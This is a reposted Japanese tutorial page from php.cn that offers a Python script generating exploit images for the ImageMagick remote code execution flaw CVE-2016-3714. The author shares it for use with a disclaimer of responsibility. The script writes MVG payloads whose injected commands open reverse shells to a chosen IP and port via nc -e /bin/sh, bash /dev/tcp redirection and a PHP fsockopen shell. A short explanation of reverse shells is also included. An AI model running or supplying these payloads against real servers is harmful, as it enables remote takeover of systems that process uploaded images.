ホームページ > バックエンド開発 > PHPチュートリアル > ImageMagick 脆弱性 EXP 簡易生成スクリプト

ImageMagick 脆弱性 EXP 簡易生成スクリプト

WBOY
リリース: 2016-06-23 13:06:56
オリジナル
1101 人が閲覧しました

数日前、ImageMagick にリモート実行の脆弱性 (CVE-2016-3714) が見つかったので、Evil0x.COM のコア メンバーが使用できるように、誰もが使用できる exp 生成スクリプトを作成しました。 (免責事項、何が起こっても構いません)

一般に、このスクリプトには 3 つの機能があります

NC リバウンドの生成

bash リバウンドの生成

php リフレクションの生成

両方のサーバーで NC リスニングを使用でき、リバウンドしますシェル。生成される画像のデフォルトは exp.png で、サフィックスは他の画像形式に自由に変更できます

シェルリバウンドとは何ですか?

リバース シェル (シェル リバウンドまたはシェル リフレクションとも呼ばれます) とは、制御端末が特定の TCP/UDP ポートをリッスンし、制御端末がそのポートへのリクエストを開始し、コマンド ラインの入力と出力をそのポートに転送することを意味します。制御端子。リバース シェルは、Telnet や ssh などの標準シェルに相当します。これは、本質的に、ネットワーク概念におけるクライアントとサーバーの役割を逆転させたものです。これは通常、制御された側がファイアウォールによって制限されており、権限が不十分で、ポートが占有されている場合に使用されます。

著者: Mo Xuyou

リンク: http://www.zhihu.com/question/24503813/answer/28088923

出典: Zhihu、少し修正

上記、ソースコードを公開します。

ファイルのダウンロード:

imagemagic_exp.zip

# -*-coding:utf-8-*-#!/usr/bin/env python#imagemagic_exp.py import argparse class payload(object): """ building payload,you must input shell typle and server ip and port   CVE-2016-3714 - Insufficient shell characters filtering leads to  (potentially remote) code execution   Insufficient filtering for filename passed to delegate's command allows  remote code execution during conversion of several file formats """ def __init__(self, shelltype,ip,port):  #super(_paload, self).__init__()  self.shelltype = shelltype  self.ip = ip  self.port =port   self.nc='nc -e /bin/sh' + self.ip+ ' ' + self.port  self.bash= 'bash -i >& /dev/tcp/' + self.ip + '/' + self.port +' 0>%1'  self.php="php -r '$sock=fsockopen(%s,%s);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" %(self.ip,self.port)   self.shell_dict={   'nc': self.nc,   'bash': self.bash,   'php': self.php     } def payloadbuild(self):  """  push graphic-context  viewbox 0 0 640 480  fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")'  pop graphic-context  """  if self.shelltype =='nc':   self.shell =self.shell_dict['nc']  if self.shelltype=='bash':   self.shell =self.shell_dict['bash']  if self.shelltype=='php':   self.shell =self.shell_dict['php']   self.shellcode="fill 'url(https://example.com/image.jpg\"|"+self.shell+ " \")\' "  payload =[]  payload.append('push graphic-context')  payload.append('viewbox 0 0 640 480')  payload.append(self.shellcode)  payload.append('pop graphic-context')  return payload #touch a jpg image def newimage(self):       with open('exp.jpg', 'w') as file:   for item in self.payloadbuild():    file.write(item+'\n') if __name__=='__main__': parse =argparse.ArgumentParser() parse.add_argument("--nc",help="生成可执行 nc反射的图片",action="store_true") parse.add_argument("--bash",help="生成可执行bash反射的图片",action="store_true")  parse.add_argument("--php",help="生成可执行php射的图片",action="store_true") parse.add_argument("--ip",help="反弹shell 的 ip",default='127.0.0.1') parse.add_argument("--port",help="反弹shell的port",default='8888') args=parse.parse_args() if args.nc:  test=payload('nc', args.ip, args.port)  test.newimage() if args.bash:  test=payload('bash', args.ip, args.port)  test.newimage() if args.php:  test=payload('php', args.ip, args.port)  test.newimage()
ログイン後にコピー

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート